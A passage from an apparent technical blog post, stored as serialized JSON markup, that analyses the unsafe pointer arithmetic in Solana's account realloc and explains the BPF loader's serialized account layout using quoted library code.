"children":25499},{"style":94},[25500],{"type":29,"value":1144},{"type":23,"tag":75,"props":25502,"children":25503},{"class":77,"line":826},[25504,25509],{"type":23,"tag":75,"props":25505,"children":25506},{"style":237},[25507],{"type":29,"value":25508},"            0",{"type":23,"tag":75,"props":25510,"children":25511},{"style":94},[25512],{"type":29,"value":118},{"type":23,"tag":75,"props":25514,"children":25515},{"class":77,"line":834},[25516,25521,25525,25530,25534,25538],{"type":23,"tag":75,"props":25517,"children":25518},{"style":110},[25519],{"type":29,"value":25520},"            new_len",{"type":23,"tag":75,"props":25522,"children":25523},{"style":209},[25524],{"type":29,"value":557},{"type":23,"tag":75,"props":25526,"children":25527},{"style":88},[25528],{"type":29,"value":25529},"saturating_sub",{"type":23,"tag":75,"props":25531,"children":25532},{"style":94},[25533],{"type":29,"value":643},{"type":23,"tag":75,"props":25535,"children":25536},{"style":110},[25537],{"type":29,"value":25492},{"type":23,"tag":75,"props":25539,"children":25540},{"style":94},[25541],{"type":29,"value":1792},{"type":23,"tag":75,"props":25543,"children":25544},{"class":77,"line":881},[25545],{"type":23,"tag":75,"props":25546,"children":25547},{"style":94},[25548],{"type":29,"value":19002},{"type":23,"tag":75,"props":25550,"children":25551},{"class":77,"line":3355},[25552],{"type":23,"tag":75,"props":25553,"children":25554},{"style":94},[25555],{"type":29,"value":346},{"type":23,"tag":75,"props":25557,"children":25558},{"class":77,"line":3390},[25559],{"type":23,"tag":75,"props":25560,"children":25561},{"emptyLinePlaceholder":15},[25562],{"type":29,"value":276},{"type":23,"tag":75,"props":25564,"children":25565},{"class":77,"line":3423},[25566,25570],{"type":23,"tag":75,"props":25567,"children":25568},{"style":104},[25569],{"type":29,"value":1504},{"type":23,"tag":75,"props":25571,"children":25572},{"style":94},[25573],{"type":29,"value":25574},"(())\n",{"type":23,"tag":75,"props":25576,"children":25577},{"class":77,"line":3436},[25578],{"type":23,"tag":75,"props":25579,"children":25580},{"style":94},[25581],{"type":29,"value":369},{"type":23,"tag":32,"props":25583,"children":25584},{},[25585,25587,25593,25595,25600],{"type":29,"value":25586},"Oh. There's ",{"type":23,"tag":71,"props":25588,"children":25590},{"className":25589},[],[25591],{"type":29,"value":25592},"unsafe",{"type":29,"value":25594},". And no bounds check in sight. ",{"type":23,"tag":9690,"props":25596,"children":25597},{},[25598],{"type":29,"value":25599},"And",{"type":29,"value":25601}," pointer math. That doesn't look promising...",{"type":23,"tag":24,"props":25603,"children":25605},{"id":25604},"breaking-down-realloc",[25606,25608],{"type":29,"value":25607},"Breaking down ",{"type":23,"tag":71,"props":25609,"children":25611},{"className":25610},[],[25612],{"type":29,"value":24881},{"type":23,"tag":32,"props":25614,"children":25615},{},[25616,25618,25623],{"type":29,"value":25617},"Let's pick apart this ",{"type":23,"tag":71,"props":25619,"children":25621},{"className":25620},[],[25622],{"type":29,"value":25592},{"type":29,"value":25624}," block, since there's a lot going on here.",{"type":23,"tag":64,"props":25626,"children":25628},{"className":987,"code":25627,"language":986,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[25629],{"type":23,"tag":71,"props":25630,"children":25631},{"__ignoreMap":7},[25632,25640,25727],{"type":23,"tag":75,"props":25633,"children":25634},{"class":77,"line":78},[25635],{"type":23,"tag":75,"props":25636,"children":25637},{"style":3621},[25638],{"type":29,"value":25639},"// First set new length in the serialized data\n",{"type":23,"tag":75,"props":25641,"children":25642},{"class":77,"line":100},[25643,25647,25651,25655,25659,25663,25667,25671,25675,25679,25683,25687,25691,25695,25699,25703,25707,25711,25715,25719,25723],{"type":23,"tag":75,"props":25644,"children":25645},{"style":82},[25646],{"type":29,"value":23033},{"type":23,"tag":75,"props":25648,"children":25649},{"style":110},[25650],{"type":29,"value":25099},{"type":23,"tag":75,"props":25652,"children":25653},{"style":209},[25654],{"type":29,"value":1193},{"type":23,"tag":75,"props":25656,"children":25657},{"style":82},[25658],{"type":29,"value":25039},{"type":23,"tag":75,"props":25660,"children":25661},{"style":209},[25662],{"type":29,"value":557},{"type":23,"tag":75,"props":25664,"children":25665},{"style":88},[25666],{"type":29,"value":25116},{"type":23,"tag":75,"props":25668,"children":25669},{"style":94},[25670],{"type":29,"value":1417},{"type":23,"tag":75,"props":25672,"children":25673},{"style":209},[25674],{"type":29,"value":14418},{"type":23,"tag":75,"props":25676,"children":25677},{"style":88},[25678],{"type":29,"value":25129},{"type":23,"tag":75,"props":25680,"children":25681},{"style":94},[25682],{"type":29,"value":1417},{"type":23,"tag":75,"props":25684,"children":25685},{"style":209},[25686],{"type":29,"value":557},{"type":23,"tag":75,"props":25688,"children":25689},{"style":88},[25690],{"type":29,"value":25142},{"type":23,"tag":75,"props":25692,"children":25693},{"style":94},[25694],{"type":29,"value":643},{"type":23,"tag":75,"props":25696,"children":25697},{"style":209},[25698],{"type":29,"value":15602},{"type":23,"tag":75,"props":25700,"children":25701},{"style":237},[25702],{"type":29,"value":15349},{"type":23,"tag":75,"props":25704,"children":25705},{"style":94},[25706],{"type":29,"value":167},{"type":23,"tag":75,"props":25708,"children":25709},{"style":82},[25710],{"type":29,"value":20097},{"type":23,"tag":75,"props":25712,"children":25713},{"style":209},[25714],{"type":29,"value":579},{"type":23,"tag":75,"props":25716,"children":25717},{"style":82},[25718],{"type":29,"value":14998},{"type":23,"tag":75,"props":25720,"children":25721},{"style":104},[25722],{"type":29,"value":17129},{"type":23,"tag":75,"props":25724,"children":25725},{"style":94},[25726],{"type":29,"value":245},{"type":23,"tag":75,"props":25728,"children":25729},{"class":77,"line":121},[25730,25734,25738,25742,25746,25750,25754],{"type":23,"tag":75,"props":25731,"children":25732},{"style":209},[25733],{"type":29,"value":601},{"type":23,"tag":75,"props":25735,"children":25736},{"style":110},[25737],{"type":29,"value":25190},{"type":23,"tag":75,"props":25739,"children":25740},{"style":209},[25741],{"type":29,"value":1193},{"type":23,"tag":75,"props":25743,"children":25744},{"style":110},[25745],{"type":29,"value":25199},{"type":23,"tag":75,"props":25747,"children":25748},{"style":82},[25749],{"type":29,"value":20083},{"type":23,"tag":75,"props":25751,"children":25752},{"style":104},[25753],{"type":29,"value":17129},{"type":23,"tag":75,"props":25755,"children":25756},{"style":94},[25757],{"type":29,"value":245},{"type":23,"tag":32,"props":25759,"children":25760},{},[25761,25766],{"type":23,"tag":71,"props":25762,"children":25764},{"className":25763},[],[25765],{"type":29,"value":25116},{"type":29,"value":25767}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":923,"props":25769,"children":25771},{"id":25770},"bpf-loader-abi",[25772],{"type":29,"value":25773},"BPF Loader ABI",{"type":23,"tag":32,"props":25775,"children":25776},{},[25777,25779,25784,25786,25799],{"type":29,"value":25778},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":71,"props":25780,"children":25782},{"className":25781},[],[25783],{"type":29,"value":24896},{"type":29,"value":25785},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":940,"props":25787,"children":25790},{"href":25788,"rel":25789},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[944],[25791,25797],{"type":23,"tag":71,"props":25792,"children":25794},{"className":25793},[],[25795],{"type":29,"value":25796},"entrypoint!",{"type":29,"value":25798}," macro",{"type":29,"value":1018},{"type":23,"tag":64,"props":25801,"children":25803},{"className":987,"code":25802,"language":986,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[25804],{"type":23,"tag":71,"props":25805,"children":25806},{"__ignoreMap":7},[25807,25815,25887,25930,25982,26040,26083,26123,26130],{"type":23,"tag":75,"props":25808,"children":25809},{"class":77,"line":78},[25810],{"type":23,"tag":75,"props":25811,"children":25812},{"style":94},[25813],{"type":29,"value":25814},"#[no_mangle]\n",{"type":23,"tag":75,"props":25816,"children":25817},{"class":77,"line":100},[25818,25822,25827,25832,25837,25841,25846,25850,25854,25858,25862,25866,25871,25875,25879,25883],{"type":23,"tag":75,"props":25819,"children":25820},{"style":82},[25821],{"type":29,"value":24933},{"type":23,"tag":75,"props":25823,"children":25824},{"style":82},[25825],{"type":29,"value":25826}," unsafe",{"type":23,"tag":75,"props":25828,"children":25829},{"style":82},[25830],{"type":29,"value":25831}," extern",{"type":23,"tag":75,"props":25833,"children":25834},{"style":1266},[25835],{"type":29,"value":25836}," \"C\"",{"type":23,"tag":75,"props":25838,"children":25839},{"style":82},[25840],{"type":29,"value":24938},{"type":23,"tag":75,"props":25842,"children":25843},{"style":88},[25844],{"type":29,"value":25845}," entrypoint",{"type":23,"tag":75,"props":25847,"children":25848},{"style":94},[25849],{"type":29,"value":643},{"type":23,"tag":75,"props":25851,"children":25852},{"style":110},[25853],{"type":29,"value":1207},{"type":23,"tag":75,"props":25855,"children":25856},{"style":209},[25857],{"type":29,"value":1018},{"type":23,"tag":75,"props":25859,"children":25860},{"style":209},[25861],{"type":29,"value":579},{"type":23,"tag":75,"props":25863,"children":25864},{"style":82},[25865],{"type":29,"value":14998},{"type":23,"tag":75,"props":25867,"children":25868},{"style":104},[25869],{"type":29,"value":25870}," u8",{"type":23,"tag":75,"props":25872,"children":25873},{"style":94},[25874],{"type":29,"value":167},{"type":23,"tag":75,"props":25876,"children":25877},{"style":209},[25878],{"type":29,"value":1156},{"type":23,"tag":75,"props":25880,"children":25881},{"style":104},[25882],{"type":29,"value":17129},{"type":23,"tag":75,"props":25884,"children":25885},{"style":94},[25886],{"type":29,"value":401},{"type":23,"tag":75,"props":25888,"children":25889},{"class":77,"line":121},[25890,25894,25898,25903,25907,25912,25916,25921,25925],{"type":23,"tag":75,"props":25891,"children":25892},{"style":82},[25893],{"type":29,"value":1183},{"type":23,"tag":75,"props":25895,"children":25896},{"style":94},[25897],{"type":29,"value":183},{"type":23,"tag":75,"props":25899,"children":25900},{"style":110},[25901],{"type":29,"value":25902},"program_id",{"type":23,"tag":75,"props":25904,"children":25905},{"style":94},[25906],{"type":29,"value":611},{"type":23,"tag":75,"props":25908,"children":25909},{"style":110},[25910],{"type":29,"value":25911},"accounts",{"type":23,"tag":75,"props":25913,"children":25914},{"style":94},[25915],{"type":29,"value":611},{"type":23,"tag":75,"props":25917,"children":25918},{"style":110},[25919],{"type":29,"value":25920},"instruction_data",{"type":23,"tag":75,"props":25922,"children":25923},{"style":94},[25924],{"type":29,"value":167},{"type":23,"tag":75,"props":25926,"children":25927},{"style":209},[25928],{"type":29,"value":25929},"=\n",{"type":23,"tag":75,"props":25931,"children":25932},{"class":77,"line":138},[25933,25938,25942,25946,25951,25955,25960,25964,25969,25973,25977],{"type":23,"tag":75,"props":25934,"children":25935},{"style":82},[25936],{"type":29,"value":25937},"        unsafe",{"type":23,"tag":75,"props":25939,"children":25940},{"style":94},[25941],{"type":29,"value":20837},{"type":23,"tag":75,"props":25943,"children":25944},{"style":209},[25945],{"type":29,"value":21536},{"type":23,"tag":75,"props":25947,"children":25948},{"style":82},[25949],{"type":29,"value":25950},"crate",{"type":23,"tag":75,"props":25952,"children":25953},{"style":209},[25954],{"type":29,"value":1407},{"type":23,"tag":75,"props":25956,"children":25957},{"style":94},[25958],{"type":29,"value":25959},"entrypoint",{"type":23,"tag":75,"props":25961,"children":25962},{"style":209},[25963],{"type":29,"value":1407},{"type":23,"tag":75,"props":25965,"children":25966},{"style":88},[25967],{"type":29,"value":25968},"deserialize",{"type":23,"tag":75,"props":25970,"children":25971},{"style":94},[25972],{"type":29,"value":643},{"type":23,"tag":75,"props":25974,"children":25975},{"style":110},[25976],{"type":29,"value":1207},{"type":23,"tag":75,"props":25978,"children":25979},{"style":94},[25980],{"type":29,"value":25981},") };\n",{"type":23,"tag":75,"props":25983,"children":25984},{"class":77,"line":161},[25985,25990,25995,26000,26004,26008,26012,26016,26020,26024,26028,26032,26036],{"type":23,"tag":75,"props":25986,"children":25987},{"style":175},[25988],{"type":29,"value":25989},"    match",{"type":23,"tag":75,"props":25991,"children":25992},{"style":209},[25993],{"type":29,"value":25994}," $",{"type":23,"tag":75,"props":25996,"children":25997},{"style":110},[25998],{"type":29,"value":25999},"process_instruction",{"type":23,"tag":75,"props":26001,"children":26002},{"style":94},[26003],{"type":29,"value":643},{"type":23,"tag":75,"props":26005,"children":26006},{"style":209},[26007],{"type":29,"value":1277},{"type":23,"tag":75,"props":26009,"children":26010},{"style":110},[26011],{"type":29,"value":25902},{"type":23,"tag":75,"props":26013,"children":26014},{"style":94},[26015],{"type":29,"value":611},{"type":23,"tag":75,"props":26017,"children":26018},{"style":209},[26019],{"type":29,"value":1277},{"type":23,"tag":75,"props":26021,"children":26022},{"style":110},[26023],{"type":29,"value":25911},{"type":23,"tag":75,"props":26025,"children":26026},{"style":94},[26027],{"type":29,"value":611},{"type":23,"tag":75,"props":26029,"children":26030},{"style":209},[26031],{"type":29,"value":1277},{"type":23,"tag":75,"props":26033,"children":26034},{"style":110},[26035],{"type":29,"value":25920},{"type":23,"tag":75,"props":26037,"children":26038},{"style":94},[26039],{"type":29,"value":193},{"type":23,"tag":75,"props":26041,"children":26042},{"class":77,"line":196},[26043,26048,26053,26058,26062,26066,26070,26074,26078],{"type":23,"tag":75,"props":26044,"children":26045},{"style":104},[26046],{"type":29,"value":26047},"        Ok",{"type":23,"tag":75,"props":26049,"children":26050},{"style":94},[26051],{"type":29,"value":26052},"(()) ",{"type":23,"tag":75,"props":26054,"children":26055},{"style":209},[26056],{"type":29,"value":26057},"=>",{"type":23,"tag":75,"props":26059,"children":26060},{"style":209},[26061],{"type":29,"value":25994},{"type":23,"tag":75,"props":26063,"children":26064},{"style":82},[26065],{"type":29,"value":25950},{"type":23,"tag":75,"props":26067,"children":26068},{"style":209},[26069],{"type":29,"value":1407},{"type":23,"tag":75,"props":26071,"children":26072},{"style":94},[26073],{"type":29,"value":25959},{"type":23,"tag":75,"props":26075,"children":26076},{"style":209},[26077],{"type":29,"value":1407},{"type":23,"tag":75,"props":26079,"children":26080},{"style":94},[26081],{"type":29,"value":26082},"SUCCESS,\n",{"type":23,"tag":75,"props":26084,"children":26085},{"class":77,"line":220},[26086,26091,26095,26099,26103,26107,26111,26115,26119],{"type":23,"tag":75,"props":26087,"children":26088},{"style":104},[26089],{"type":29,"value":26090},"        Err",{"type":23,"tag":75,"props":26092,"children":26093},{"style":94},[26094],{"type":29,"value":643},{"type":23,"tag":75,"props":26096,"children":26097},{"style":110},[26098],{"type":29,"value":616},{"type":23,"tag":75,"props":26100,"children":26101},{"style":94},[26102],{"type":29,"value":167},{"type":23,"tag":75,"props":26104,"children":26105},{"style":209},[26106],{"type":29,"value":26057},{"type":23,"tag":75,"props":26108,"children":26109},{"style":110},[26110],{"type":29,"value":4439},{"type":23,"tag":75,"props":26112,"children":26113},{"style":209},[26114],{"type":29,"value":557},{"type":23,"tag":75,"props":26116,"children":26117},{"style":88},[26118],{"type":29,"value":1295},{"type":23,"tag":75,"props":26120,"children":26121},{"style":94},[26122],{"type":29,"value":2580},{"type":23,"tag":75,"props":26124,"children":26125},{"class":77,"line":248},[26126],{"type":23,"tag":75,"props":26127,"children":26128},{"style":94},[26129],{"type":29,"value":346},{"type":23,"tag":75,"props":26131,"children":26132},{"class":77,"line":270},[26133],{"type":23,"tag":75,"props":26134,"children":26135},{"style":94},[26136],{"type":29,"value":369},{"type":23,"tag":32,"props":26138,"children":26139},{},[26140,26142,26147,26149,26155,26157,26164,26166,26172,26174,26181],{"type":29,"value":26141},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":71,"props":26143,"children":26145},{"className":26144},[],[26146],{"type":29,"value":1139},{"type":29,"value":26148}," buffer in from the loader, and calls ",{"type":23,"tag":71,"props":26150,"children":26152},{"className":26151},[],[26153],{"type":29,"value":26154},"solana_program::entrypoint::deserialize",{"type":29,"value":26156},", which then ",{"type":23,"tag":940,"props":26158,"children":26161},{"href":26159,"rel":26160},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[944],[26162],{"type":29,"value":26163},"parses out",{"type":29,"value":26165}," all the ",{"type":23,"tag":71,"props":26167,"children":26169},{"className":26168},[],[26170],{"type":29,"value":26171},"AccountInfo",{"type":29,"value":26173},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":940,"props":26175,"children":26178},{"href":26176,"rel":26177},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[944],[26179],{"type":29,"value":26180},"laid out",{"type":29,"value":1018},{"type":23,"tag":64,"props":26183,"children":26185},{"className":987,"code":26184,"language":986,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[26186],{"type":23,"tag":71,"props":26187,"children":26188},{"__ignoreMap":7},[26189,26206,26286,26318,26325,26372,26416,26424,26448],{"type":23,"tag":75,"props":26190,"children":26191},{"class":77,"line":78},[26192,26197,26201],{"type":23,"tag":75,"props":26193,"children":26194},{"style":94},[26195],{"type":29,"value":26196},"#[allow(clippy",{"type":23,"tag":75,"props":26198,"children":26199},{"style":209},[26200],{"type":29,"value":1407},{"type":23,"tag":75,"props":26202,"children":26203},{"style":94},[26204],{"type":29,"value":26205},"cast_ptr_alignment)]\n",{"type":23,"tag":75,"props":26207,"children":26208},{"class":77,"line":100},[26209,26213,26218,26222,26226,26230,26234,26238,26242,26246,26250,26254,26258,26262,26266,26270,26274,26278,26282],{"type":23,"tag":75,"props":26210,"children":26211},{"style":82},[26212],{"type":29,"value":23033},{"type":23,"tag":75,"props":26214,"children":26215},{"style":110},[26216],{"type":29,"value":26217}," data_len",{"type":23,"tag":75,"props":26219,"children":26220},{"style":209},[26221],{"type":29,"value":1193},{"type":23,"tag":75,"props":26223,"children":26224},{"style":209},[26225],{"type":29,"value":579},{"type":23,"tag":75,"props":26227,"children":26228},{"style":94},[26229],{"type":29,"value":643},{"type":23,"tag":75,"props":26231,"children":26232},{"style":110},[26233],{"type":29,"value":1207},{"type":23,"tag":75,"props":26235,"children":26236},{"style":209},[26237],{"type":29,"value":557},{"type":23,"tag":75,"props":26239,"children":26240},{"style":88},[26241],{"type":29,"value":20887},{"type":23,"tag":75,"props":26243,"children":26244},{"style":94},[26245],{"type":29,"value":643},{"type":23,"tag":75,"props":26247,"children":26248},{"style":110},[26249],{"type":29,"value":25142},{"type":23,"tag":75,"props":26251,"children":26252},{"style":94},[26253],{"type":29,"value":167},{"type":23,"tag":75,"props":26255,"children":26256},{"style":82},[26257],{"type":29,"value":20097},{"type":23,"tag":75,"props":26259,"children":26260},{"style":209},[26261],{"type":29,"value":579},{"type":23,"tag":75,"props":26263,"children":26264},{"style":82},[26265],{"type":29,"value":2869},{"type":23,"tag":75,"props":26267,"children":26268},{"style":104},[26269],{"type":29,"value":17129},{"type":23,"tag":75,"props":26271,"children":26272},{"style":94},[26273],{"type":29,"value":167},{"type":23,"tag":75,"props":26275,"children":26276},{"style":82},[26277],{"type":29,"value":20097},{"type":23,"tag":75,"props":26279,"children":26280},{"style":104},[26281],{"type":29,"value":24974},{"type":23,"tag":75,"props":26283,"children":26284},{"style":94},[26285],{"type":29,"value":245},{"type":23,"tag":75,"props":26287,"children":26288},{"class":77,"line":121},[26289,26293,26297,26302,26306,26310,26314],{"type":23,"tag":75,"props":26290,"children":26291},{"style":110},[26292],{"type":29,"value":25142},{"type":23,"tag":75,"props":26294,"children":26295},{"style":209},[26296],{"type":29,"value":767},{"type":23,"tag":75,"props":26298,"children":26299},{"style":88},[26300],{"type":29,"value":26301}," size_of",{"type":23,"tag":75,"props":26303,"children":26304},{"style":209},[26305],{"type":29,"value":1407},{"type":23,"tag":75,"props":26307,"children":26308},{"style":94},[26309],{"type":29,"value":295},{"type":23,"tag":75,"props":26311,"children":26312},{"style":104},[26313],{"type":29,"value":19301},{"type":23,"tag":75,"props":26315,"children":26316},{"style":94},[26317],{"type":29,"value":19710},{"type":23,"tag":75,"props":26319,"children":26320},{"class":77,"line":138},[26321],{"type":23,"tag":75,"props":26322,"children":26323},{"emptyLinePlaceholder":15},[26324],{"type":29,"value":276},{"type":23,"tag":75,"props":26326,"children":26327},{"class":77,"line":161},[26328,26332,26336,26340,26345,26349,26354,26359,26363,26367],{"type":23,"tag":75,"props":26329,"children":26330},{"style":82},[26331],{"type":29,"value":23033},{"type":23,"tag":75,"props":26333,"children":26334},{"style":110},[26335],{"type":29,"value":10592},{"type":23,"tag":75,"props":26337,"children":26338},{"style":209},[26339],{"type":29,"value":1193},{"type":23,"tag":75,"props":26341,"children":26342},{"style":104},[26343],{"type":29,"value":26344}," Rc",{"type":23,"tag":75,"props":26346,"children":26347},{"style":209},[26348],{"type":29,"value":1407},{"type":23,"tag":75,"props":26350,"children":26351},{"style":88},[26352],{"type":29,"value":26353},"new",{"type":23,"tag":75,"props":26355,"children":26356},{"style":94},[26357],{"type":29,"value":26358},"(RefCell",{"type":23,"tag":75,"props":26360,"children":26361},{"style":209},[26362],{"type":29,"value":1407},{"type":23,"tag":75,"props":26364,"children":26365},{"style":88},[26366],{"type":29,"value":26353},{"type":23,"tag":75,"props":26368,"children":26369},{"style":94},[26370],{"type":29,"value":26371},"({\n",{"type":23,"tag":75,"props":26373,"children":26374},{"class":77,"line":196},[26375,26380,26384,26388,26392,26396,26400,26404,26408,26412],{"type":23,"tag":75,"props":26376,"children":26377},{"style":88},[26378],{"type":29,"value":26379},"    from_raw_parts_mut",{"type":23,"tag":75,"props":26381,"children":26382},{"style":94},[26383],{"type":29,"value":643},{"type":23,"tag":75,"props":26385,"children":26386},{"style":110},[26387],{"type":29,"value":1207},{"type":23,"tag":75,"props":26389,"children":26390},{"style":209},[26391],{"type":29,"value":557},{"type":23,"tag":75,"props":26393,"children":26394},{"style":88},[26395],{"type":29,"value":20887},{"type":23,"tag":75,"props":26397,"children":26398},{"style":94},[26399],{"type":29,"value":643},{"type":23,"tag":75,"props":26401,"children":26402},{"style":110},[26403],{"type":29,"value":25142},{"type":23,"tag":75,"props":26405,"children":26406},{"style":94},[26407],{"type":29,"value":3851},{"type":23,"tag":75,"props":26409,"children":26410},{"style":110},[26411],{"type":29,"value":25048},{"type":23,"tag":75,"props":26413,"children":26414},{"style":94},[26415],{"type":29,"value":653},{"type":23,"tag":75,"props":26417,"children":26418},{"class":77,"line":220},[26419],{"type":23,"tag":75,"props":26420,"children":26421},{"style":94},[26422],{"type":29,"value":26423},"}));\n",{"type":23,"tag":75,"props":26425,"children":26426},{"class":77,"line":248},[26427,26431,26435,26439,26443],{"type":23,"tag":75,"props":26428,"children":26429},{"style":110},[26430],{"type":29,"value":25142},{"type":23,"tag":75,"props":26432,"children":26433},{"style":209},[26434],{"type":29,"value":767},{"type":23,"tag":75,"props":26436,"children":26437},{"style":110},[26438],{"type":29,"value":26217},{"type":23,"tag":75,"props":26440,"children":26441},{"style":209},[26442],{"type":29,"value":20160},{"type":23,"tag":75,"props":26444,"children":26445},{"style":94},[26446],{"type":29,"value":26447}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":75,"props":26449,"children":26450},{"class":77,"line":270},[26451,26455,26459,26463,26467,26471,26475,26479,26483,26487,26491,26496,26501],{"type":23,"tag":75,"props":26452,"children":26453},{"style":110},[26454],{"type":29,"value":25142},{"type":23,"tag":75,"props":26456,"children":26457},{"style":209},[26458],{"type":29,"value":767},{"type":23,"tag":75,"props":26460,"children":26461},{"style":94},[26462],{"type":29,"value":183},{"type":23,"tag":75,"props":26464,"children":26465},{"style":110},[26466],{"type":29,"value":25142},{"type":23,"tag":75,"props":26468,"children":26469},{"style":82},[26470],{"type":29,"value":20083},{"type":23,"tag":75,"props":26472,"children":26473},{"style":209},[26474],{"type":29,"value":579},{"type":23,"tag":75,"props":26476,"children":26477},{"style":82},[26478],{"type":29,"value":2869},{"type":23,"tag":75,"props":26480,"children":26481},{"style":104},[26482],{"type":29,"value":25870},{"type":23,"tag":75,"props":26484,"children":26485},{"style":94},[26486],{"type":29,"value":1347},{"type":23,"tag":75,"props":26488,"children":26489},{"style":209},[26490],{"type":29,"value":557},{"type":23,"tag":75,"props":26492,"children":26493},{"style":88},[26494],{"type":29,"value":26495},"align_offset",{"type":23,"tag":75,"props":26497,"children":26498},{"style":94},[26499],{"type":29,"value":26500},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":75,"props":26502,"children":26503},{"style":3621},[26504],{"type":29,"value":26505},"// padding\n",{"type":23,"tag":32,"props":26507,"children":26508},{},[26509,26511,26516,26518,26524,26526,26537,26539,26544,26546,26552,26554,26560,26561,26567],{"type":29,"value":26510},"In English, we have the length of the data, as a ",{"type":23,"tag":71,"props":26512,"children":26514},{"className":26513},[],[26515],{"type":29,"value":19301},{"type":29,"value":26517},", followed immediately by the data, and an additional ",{"type":23,"tag":71,"props":26519,"children":26521},{"className":26520},[],[26522],{"type":29,"value":26523},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":26525}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":940,"props":26527,"children":26530},{"href":26528,"rel":26529},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[944],[26531],{"type":23,"tag":71,"props":26532,"children":26534},{"className":26533},[],[26535],{"type":29,"value":26536},"slice::from_raw_parts_mut",{"type":29,"value":26538},") - slices are how Rust represents a, well, ",{"type":23,"tag":9690,"props":26540,"children":26541},{},[26542],{"type":29,"value":26543},"slice",{"type":29,"value":26545}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":71,"props":26547,"children":26549},{"className":26548},[],[26550],{"type":29,"value":26551},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":26553},", giving us the unwieldy-looking type of ",{"type":23,"tag":71,"props":26555,"children":26557},{"className":26556},[],[26558],{"type":29,"value":26559},"AccountInfo.data",{"type":29,"value":863},{"type":23,"tag":71,"props":26562,"children":26564},{"className":26563},[],[26565],{"type":29,"value":26566},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":557},{"type":23,"tag":32,"props":26569,"children":26570},{},[26571,26573,26580],{"type":29,"value":26572},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":940,"props":26574,"children":26577},{"href":26575,"rel":26576},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[944],[26578],{"type":29,"value":26579},"cloning the referenced account",{"type":29,"value":1018},{"type":23,"tag":64,"props":26582,"children":26584},{"className":987,"code":26583,"language":986,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[26585],{"type":23,"tag":71,"props":26586,"children":26587},{"__ignoreMap":7},[26588,26596],{"type":23,"tag":75,"props":26589,"children":26590},{"class":77,"line":78},[26591],{"type":23,"tag":75,"props":26592,"children":26593},{"style":3621},[26594],{"type":29,"value":26595},"// Duplicate account, clone the original\n",{"type":23,"tag":75,"props":26597,"children":26598},{"class":77,"line":100},[26599,26603,26607,26611,26615,26619,26623,26628,26632,26636,26640,26644,26649],{"type":23,"tag":75,"props":26600,"children":26601},{"style":110},[26602],{"type":29,"value":25911},{"type":23,"tag":75,"props":26604,"children":26605},{"style":209},[26606],{"type":29,"value":557},{"type":23,"tag":75,"props":26608,"children":26609},{"style":88},[26610],{"type":29,"value":15085},{"type":23,"tag":75,"props":26612,"children":26613},{"style":94},[26614],{"type":29,"value":643},{"type":23,"tag":75,"props":26616,"children":26617},{"style":110},[26618],{"type":29,"value":25911},{"type":23,"tag":75,"props":26620,"children":26621},{"style":94},[26622],{"type":29,"value":814},{"type":23,"tag":75,"props":26624,"children":26625},{"style":110},[26626],{"type":29,"value":26627},"dup_info",{"type":23,"tag":75,"props":26629,"children":26630},{"style":82},[26631],{"type":29,"value":20083},{"type":23,"tag":75,"props":26633,"children":26634},{"style":104},[26635],{"type":29,"value":24974},{"type":23,"tag":75,"props":26637,"children":26638},{"style":94},[26639],{"type":29,"value":1610},{"type":23,"tag":75,"props":26641,"children":26642},{"style":209},[26643],{"type":29,"value":557},{"type":23,"tag":75,"props":26645,"children":26646},{"style":88},[26647],{"type":29,"value":26648},"clone",{"type":23,"tag":75,"props":26650,"children":26651},{"style":94},[26652],{"type":29,"value":1430},{"type":23,"tag":32,"props":26654,"children":26655},{},[26656,26658,26663,26665,26670,26672,26677,26679,26684,26685,26691,26693,26698,26700,26712,26714,26719],{"type":29,"value":26657},"Since ",{"type":23,"tag":71,"props":26659,"children":26661},{"className":26660},[],[26662],{"type":29,"value":14976},{"type":29,"value":26664}," inside the ",{"type":23,"tag":71,"props":26666,"children":26668},{"className":26667},[],[26669],{"type":29,"value":26171},{"type":29,"value":26671}," is a ",{"type":23,"tag":71,"props":26673,"children":26675},{"className":26674},[],[26676],{"type":29,"value":26551},{"type":29,"value":26678},", where the 